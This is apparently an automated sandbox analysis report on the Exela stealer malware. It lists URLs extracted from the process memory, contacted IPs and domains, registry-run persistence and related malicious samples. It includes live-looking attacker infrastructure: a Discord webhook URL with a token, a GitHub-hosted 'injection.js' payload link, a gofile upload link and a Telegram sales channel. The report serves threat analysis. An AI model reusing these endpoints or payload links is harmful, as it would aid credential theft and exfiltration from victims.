00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.twitch.tv/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000003B.00000002.2895821645.000001B777C0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp	false		high
https://open.spotify.com/user/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999238737.000002DCD0640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://filepreviews.io/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999238737.000002DCD0640000.00000004.00001000.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/installation/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1661328748.000002DCCD0E5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662491897.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971643797.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969728459.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1972101982.000002DCCD0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986072702.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1165)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa	Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/changelog.html	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/security/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1141)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.hizliresim.com/6t31tw2.jpg	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://thumbnails.roblox.com/v1/users/avatar?userIds=	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999597567.000002DCD0850000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.variomedia.de/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue37179	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971539043.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965135302.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990080929.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/i/api/1.1/account/update_profile.jsonP	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/justforExela/injection/main/injection.js0A	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reddit.com/user/0	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970639661.000002DCD1F60000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1F50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.reddit.com/user/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/issues	Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://readthedocs.org/projects/cryptography/badge/?version=latest	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/ExelaStealer	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/	Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.twitch.tv/P?	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_Ba	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs/issues/1158)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1975909415.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989967017.000002DCCF60B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1983700654.000002DCCF609000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969997805.000002DCCF608000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1730855532.000002DCD1FFF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1203)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/23.2.0/_static/sponsors/Tidelift.svg	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/avatars/0	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/download/releases/2.3/mro/.	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986134334.000002DCCE890000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662394777.000002DCCED46000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662353023.000002DCCED6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/	Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/asyncio-eventloop.html	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1974121570.000002DCCEF1D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969112805.000002DCCEF19000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1987192175.000002DCCEF1E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://python.org/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989717007.000002DCCF57B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1984324624.000002DCCF57A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670503006.000002DCCF5DD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970219696.000002DCCF53F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1976604985.000002DCCF578000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gofile.io/d/mn2lNW)P	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
162.159.137.232	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.128.233	discord.com	United States	13335	CLOUDFLARENETUS	false
206.168.191.31	store8.gofile.io	United States	21777	MASSIVE-NETWORKSUS	false
51.38.43.18	api.gofile.io	France	16276	OVHFR	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431281
Start date and time:	2024-04-24 19:23:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	86
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Detection:	MAL
Classification:	mal100.rans.spre.phis.troj.spyw.evad.winEXE@145/213@4/6
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 89% Number of executed functions: 85 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe
Excluded IPs from analysis (whitelisted): 23.202.57.177, 40.68.123.157, 23.72.90.76, 23.72.90.85, 20.3.187.198
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target mshta.exe, PID 7072 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Simulations

Behavior and APIs

Time	Type	Description
18:24:04	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Exela Update Service C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
19:24:00	API Interceptor	6x Sleep call for process: WMIC.exe modified
19:24:07	API Interceptor	7x Sleep call for process: powershell.exe modified
19:24:08	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Control-Tributario_KFRCkzlbCHUSEBMRSECA.zip	Get hash	malicious	Unknown	Browse	ip-api.com/json
	Swift Payment.bat	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	SARL RABINEAU Order FA2495.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat	Get hash	malicious	GuLoader	Browse	ip-api.com/line/?fields=hosting
	Spare part list.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	QUOTATION_APRQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Zapytanie ofertowe Fl#U00e4ktGroup 04232024.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	Umulighed.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	Dhl Express Shipping Docs .pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
162.159.137.232	30362LQ5.posh.ps1	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exe	Get hash	malicious	Unknown	Browse
	http://www.cyclic.sh/pricing	Get hash	malicious	HTMLPhisher	Browse
	T_240369_S#U0130PAR#U0130S.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	biden.ps1	Get hash	malicious	Unknown	Browse
	stub_builder.exe	Get hash	malicious	Blank Grabber	Browse
	STRIKER.exe	Get hash	malicious	Unknown	Browse
	e.exe	Get hash	malicious	Unknown	Browse
	MNPOk988.exe	Get hash	malicious	AgentTesla, Discord Token Stealer	Browse
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
162.159.128.233	file.exe	Get hash	malicious	LummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRAT	Browse	discord.com/phpMyAdmin/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.gofile.io	SecuriteInfo.com.Python.Stealer.1437.14994.32063.exe	Get hash	malicious	Python Stealer	Browse	151.80.29.83
	TeaiGames.exe	Get hash	malicious	NovaSentinel	Browse	51.178.66.33
	SecuriteInfo.com.Win64.Evo-gen.10533.31255.exe	Get hash	malicious	Unknown	Browse	51.38.43.18
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	51.38.43.18
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	51.178.66.33
	SecuriteInfo.com.Python.Stealer.1447.10844.3562.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	51.178.66.33
	SecuriteInfo.com.W64.S-19146458.Eldorado.2165.28638.exe	Get hash	malicious	Unknown	Browse	51.38.43.18
	SecuriteInfo.com.W64.S-19146458.Eldorado.2165.28638.exe	Get hash	malicious	Unknown	Browse	51.178.66.33
	SetupSpuckwars_1.15.5.exe	Get hash	malicious	Unknown	Browse	51.38.43.18
	SetupSpuckwars_1.15.5.exe	Get hash	malicious	Unknown	Browse	51.38.43.18
store8.gofile.io	TeaiGames.exe	Get hash	malicious	NovaSentinel	Browse	206.168.191.31
	e.exe	Get hash	malicious	Unknown	Browse	206.168.191.31
	Leak Porn MMS Teen Girl.js	Get hash	malicious	RHADAMANTHYS	Browse	206.168.191.31
	My Nude Video MMS.js	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	206.168.191.31
	Setup.exe	Get hash	malicious	Vidar, Xmrig	Browse	31.14.70.242
	file.exe	Get hash	malicious	RHADAMANTHYS, RedLine, SmokeLoader	Browse	31.14.70.242
	file.exe	Get hash	malicious	DanaBot, Djvu, Fabookie, RHADAMANTHYS, RedLine, SmokeLoader	Browse	31.14.70.242
	file.exe	Get hash	malicious	RHADAMANTHYS, RedLine, SmokeLoader	Browse	31.14.70.242
	file.exe	Get hash	malicious	Fabookie, RedLine, SmokeLoader	Browse	31.14.70.242
	file.exe	Get hash	malicious	Fabookie, RedLine, SmokeLoader	Browse	31.14.70.242
ip-api.com	Control-Tributario_KFRCkzlbCHUSEBMRSECA.zip	Get hash	malicious	Unknown	Browse	208.95.112.1
	Swift Payment.bat	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	SARL RABINEAU Order FA2495.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1
	Spare part list.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_APRQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Zapytanie ofertowe Fl#U00e4ktGroup 04232024.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Umulighed.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Dhl Express Shipping Docs .pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
discord.com	SecuriteInfo.com.Python.Stealer.1437.14994.32063.exe	Get hash	malicious	Python Stealer	Browse	162.159.138.232
	SecuriteInfo.com.Win64.Evo-gen.10533.31255.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	z158xIuvhauCQiddTe.exe	Get hash	malicious	AgentTesla	Browse	162.159.136.232
	SecuriteInfo.com.Python.Stealer.1447.10844.3562.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	162.159.136.232
	4PPlLk8IT5.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	162.159.128.233
	malware!!!.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	ZYzAYcYZ.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.128.233
